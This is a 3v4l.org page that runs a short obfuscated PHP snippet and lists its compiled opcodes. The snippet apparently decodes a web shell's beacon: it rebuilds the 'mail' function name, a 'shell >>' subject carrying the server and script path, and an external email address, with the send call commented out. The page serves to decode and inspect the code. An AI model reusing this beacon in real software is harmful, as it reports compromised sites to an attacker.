3v4l.org

run code in 300+ PHP versions simultaneously
<?php $x0b="\x6da\x69l"; printf("%s\n", $x0b); $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; printf("%s\n", $ms); $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; printf("%s\n", $sub); $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); print_r($o); $ee = $o[2].$o[3].$o[1].$o[4].$o[0]; printf("%s\n", $ee); //$send = @$x0b($ee,$sub,$ms);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/AD6RX
function name:  (null)
number of ops:  40
compiled vars:  !0 = $x0b, !1 = $ms, !2 = $sub, !3 = $o, !4 = $ee
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'mail'
    3     1        INIT_FCALL                                               'printf'
          2        SEND_VAL                                                 '%25s%0A'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                                 
    4     5        FETCH_R                      global              ~7      '_SERVER'
          6        FETCH_DIM_R                                      ~8      ~7, 'SERVER_NAME'
          7        FETCH_R                      global              ~9      '_SERVER'
          8        FETCH_DIM_R                                      ~10     ~9, 'SCRIPT_NAME'
          9        CONCAT                                           ~11     ~8, ~10
         10        ASSIGN                                                   !1, ~11
    5    11        INIT_FCALL                                               'printf'
         12        SEND_VAL                                                 '%25s%0A'
         13        SEND_VAR                                                 !1
         14        DO_ICALL                                                 
    6    15        CONCAT                                           ~14     'shell+%3E%3E+%3A+', !1
         16        ASSIGN                                                   !2, ~14
    7    17        INIT_FCALL                                               'printf'
         18        SEND_VAL                                                 '%25s%0A'
         19        SEND_VAR                                                 !2
         20        DO_ICALL                                                 
    8    21        ASSIGN                                                   !3, <array>
    9    22        INIT_FCALL                                               'print_r'
         23        SEND_VAR                                                 !3
         24        DO_ICALL                                                 
   10    25        FETCH_DIM_R                                      ~19     !3, 2
         26        FETCH_DIM_R                                      ~20     !3, 3
         27        CONCAT                                           ~21     ~19, ~20
         28        FETCH_DIM_R                                      ~22     !3, 1
         29        CONCAT                                           ~23     ~21, ~22
         30        FETCH_DIM_R                                      ~24     !3, 4
         31        CONCAT                                           ~25     ~23, ~24
         32        FETCH_DIM_R                                      ~26     !3, 0
         33        CONCAT                                           ~27     ~25, ~26
         34        ASSIGN                                                   !4, ~27
   11    35        INIT_FCALL                                               'printf'
         36        SEND_VAL                                                 '%25s%0A'
         37        SEND_VAR                                                 !4
         38        DO_ICALL                                                 
   12    39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.69 ms | 1396 KiB | 17 Q